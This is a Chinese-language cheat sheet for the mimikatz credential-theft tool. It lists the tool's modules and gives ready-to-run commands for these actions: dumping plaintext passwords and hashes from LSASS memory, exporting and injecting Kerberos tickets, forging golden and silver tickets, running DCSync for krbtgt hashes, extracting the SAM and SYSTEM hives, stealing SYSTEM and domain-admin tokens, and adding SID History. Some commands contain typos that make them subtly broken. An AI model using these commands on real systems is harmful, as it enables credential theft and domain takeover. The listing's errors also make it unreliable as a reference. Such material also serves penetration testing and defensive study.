mimikatz使用

mimikatz简介

mimikatz可以从机器内存中提取/明文密码/密码Hash/PIN码/Kerberos票据/等。

mimikatz模块介绍

crypto					加密模块
sekurlsa				SekurLSA模块,用来枚举凭据
kerberos				Kerberos包模块
ngc						密码学模块
privilege				提权
process					进程模块
service					服务模块
lsadump					LsaDump模块
ts						终端服务器模块
event					事件模块
misc					杂项模块
token					令牌操作模块
vault					Windows凭据模块
minesweeper				MinSweeper模块
dpapi					DPAPI模块(通过API或RAW访问,数据保护应用程序编程接口)
busylight				BusyLigh模块
sysenv					系统环境值模块
sid						安全标识符模块
iis						IIS XML 配置模块
rpc						RPC控制
sr98					SR98设备和T5577目标模块
rdm						RDM(830AL)设备的射频模块
acr						ACR模块
常见模块的有privilege/sekurlsa/kerberos/lsadump/token/sid

privilege模块

该模块主要用于提权需要管理员身份员运行才可进行提权。
privilege::debug

sekurlsa模块

主要用于枚举凭据的命令，需要高权限运行所以需要显示privilege模块提权。+
抓取内存中保存用户明文密码
sekurlsa::wdigest
抓取内存中保存的用户Hash
sekurlsa::msv
抓取内存中保存用户密码的Key值
sekurlsa::ekeys
抓取内存中保存的用户所有凭据
sekurlsa::logonpasswords
加载dump文件并导出其中的明文密码
sekurlsa::minidump lsass.dump
sekurlsa::logonpasswords full
导出lsass.exe进程中所有的票据
sekurlsa::tickets /export

kerberos模块

查看内存中的Kerberos TGT
kerberos::tgt
查看内存中所有的Kerberos票据
kerberos::list
清除票据
kerberos::purge
将票据注入到内存中
kerberos::ptt xx.kirbi
黄金票据传递攻击
kerberos::golden /user:要伪造的域用户 /domain:域名 /sid:域的sid值 /krbtgt:krbtgt的hash或是AES Key /ptt
白银票据传递攻击
kerberos::golden /user:要伪造的用户 /domain:域名 /sid:域的sid值 /target:服务机器 /service:指定服务，如cifs/ldap /rc4:服务账号的Hash /ptt 

lsadump模块

该模块是对Local Security Authority(LSA)进行密码抓取的模块。
通过DCSync导出指定用户密码Hash格式化输出
lsadump::dcsync /domain:test.com /user:krbtgt /csv
通过DCsync导出指定用户的密码Hash的详细信息
lsadump::dcsync /domain:test.com /user:krbtgt 
通过DCsync导出所有用户的Hash
lsadump::dcsync /domain:test.com /all /csv
读取所有用户的Hash,需要域控上以管理员权限运行
lsadump::lsa /pathch
从sam.hive和system.hive文件中获得NTLM Hash
reg save hklm\sam sam.hive
reg save hklm\system system.hive
lsadump::sam /sam:sam.hive /system:system.hive
从本地SAM文件中读取密码Hash
token::elevate
lsadump::sam

token模块

该模块是访问令牌相关的模块
列出当前进程的token信息
token::whoami
token::whoami /full
列出当前系统中存在的token,高权限列出的token最全
token::list
窃取指定的token id的token
token::elevate id 
窃取System权限的token（默认）
token::elevate /system
窃取域管理员的token
token::elevate /domain
窃取企业管理员的token
token::elevate /enterpriseadmin
窃取本地管理员的token
token::elevate /admin
窃取Local Service权限的token
token::elevate /localservice
窃取Network Service权限的token
token::elevate /networkservice
恢复之前的token
token::revert

sid模块

该模块是SID相关的模块
查询指定对象的SID
sid::lookup /name:test

查询指定SID对应的对象
sid::lookup /sid:S-1-5-21-2691333271-3572924591-1293602303

通过samAccountName属性查询对象的信息
sid::query /sam:test
通过SID属性查询对象的信息
sid::query /sid:S-1-5-21-2691333271-3572924591-1293602303
通过 samAccountName 属性修改对象的 SID
sid::patch
sid::modify /sam:test /new:S-1-5-21-2691333271-3572924591-1293602303
通过sid属性修改对象的 SID
sid::patch
sid::modify /sid:S-1-5-21-2691333271-3572924591-1293602303 /newsid::patch:S-1-5-21-2691333271-3572924591-1293602304
通过 samAccountName 属性给对象添加一个SID History属性
sid::patch
sid::add /sam;test /new:S-1-5-21-2691333271-3572924591-1293602303
通过sid属性给对象添加一个SID History属性
sid::patch
sid::add /sid:S-1-5-21-2691333271-3572924591-1293602303 /new:S-1-5-21-2691333271-3572924591-1293602303-500
将administrator的SID 添加到 test的SID History 属性中
sid::path
sid::add /sam:test /new:administrator
清除指定samAccountName对象的SID Historty属性
sid::clear /sam::test
清除指定sid对象SID History属性
sid::clear /sid:S-1-5-21-2691333271-3572924591-1293602303